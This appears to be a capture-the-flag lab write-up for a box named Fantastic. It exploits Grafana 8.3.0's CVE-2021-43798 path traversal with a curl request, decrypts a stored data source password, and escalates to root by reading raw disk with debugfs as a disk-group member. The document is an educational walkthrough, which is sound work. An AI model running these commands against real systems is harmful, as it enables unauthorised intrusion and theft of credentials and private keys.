Overview
Fantastic is a Linux box exposing Prometheus on port 9090 and Grafana on port 3000. Grafana 8.3.0 is vulnerable to CVE-2021-43798, a path traversal that allows unauthenticated download of the Grafana SQLite database. That database contains an AES-encrypted data source password for sysadmin, which a Go decryption script recovers. SSH access as sysadmin reveals membership in the disk group, enabling raw-disk reads via debugfs, used here to steal root's SSH private key and read the proof flag directly off the block device.
Recon
Nmap
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open http [Grafana]
9090/tcp open http [Prometheus]
Port 9090 runs Prometheus 2.32.1, useful for metrics enumeration but not directly exploitable here. Port 3000 is the main target.
Grafana Version Identification
The Grafana login page at http://192.168.229.181:3000/login shows:
Grafana Version v.8.3.0 (914fcedb72)
Default credentials admin:admin do not work. The version identifies the vulnerability:
Grafana 8.x - Path Traversal (CVE-2021-43798)
https://www.exploit-db.com/exploits/50581
Foothold
Path Traversal, Dumping the Grafana Database
CVE-2021-43798 uses a directory traversal in the plugin API path to read arbitrary files. The automated exploit reads /etc/passwd to confirm:
python3 50581.py -H http://192.168.229.181:3000
Read file > /etc/passwd
The /etc/passwd output confirms sysadmin (uid=1001) and prometheus (uid=1000) as real users.
The more valuable target is the Grafana SQLite database itself, pulled with curl:
curl --path-as-is http://192.168.229.181:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
Why the plugin path enables traversal: Grafana serves static plugin assets by appending the requested path to a base directory. The fix should canonicalize the path before serving, but versions before 8.3.1 fail to do this, so
../../../../escapes the plugin root and reaches anywhere on the filesystem the Grafana process can read.
Decrypting the Data Source Password
Opening grafana.db in a SQLite viewer, the data_source table contains:
sysadmin
{"basicAuthPassword":"anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w=="}
The password is AES-encrypted using a key derived from grafana.ini's secret_key. A Go decryption script recovers it:
go run AESDecrypt.go
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= ‹redacted›
Credentials:
sysadmin:‹redacted›
These do not work on the Grafana login panel but succeed over SSH:
ssh sysadmin@192.168.229.181
sysadmin@192.168.229.181's password: ‹redacted›
$ whoami
sysadmin
Privilege Escalation
disk Group → debugfs → Root
id reveals group membership that changes everything:
$ id
uid=1001(sysadmin) gid=1001(sysadmin) groups=1001(sysadmin),6(disk)
LinPEAS confirms: sysadmin is in the disk group (GID 6).
Why
diskgroup membership equals root access: members of thediskgroup get read/write access to raw block devices under/dev. The filesystem's permission model lives inside the filesystem. If you can read the raw block device that backs/, you can read any file on it, including/etc/shadow, SSH keys, and flags, regardless of file ownership or permissions.debugfsis a filesystem debugger that opens the block device directly, bypassing all OS-level access controls.
Find the root filesystem device:
$ df -h
/dev/sda2 9.8G 5.6G 3.7G 61% /
Open debugfs against the device and read root's SSH private key:
debugfs /dev/sda2
debugfs: cat root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA...
-----END OPENSSH PRIVATE KEY-----
Read the proof flag without ever becoming root in a shell:
debugfs: cat /root/proof.txt
‹redacted›
The root hash from /etc/shadow was also recoverable this way:
root:$6$mAe2JsSJSmg1n45O$78rgk3B6HaklRIPcLOtwP9aX5i...
Root
Root's SSH private key grants full shell access:
ssh root@192.168.229.181 -i root_id_rsa
root@fantastic:~# whoami
root
Takeaways
- CVE-2021-43798 gives unauthenticated database access. No login required, just a crafted URL. The Grafana SQLite database contains every data source credential the instance has configured.
- Grafana data source passwords use AES with a per-instance key stored in
grafana.ini. The path traversal leaks both the database and the ini file, making decryption deterministic once both files are obtained. idis the first command after foothold.diskgroup membership (along withlxd,docker,adm) is effectively root because it bypasses the filesystem permission layer entirely.debugfsreads any file on the partition, including SSH keys and proof flags. No root shell required, the flag can be read directly from the block device as adiskgroup member.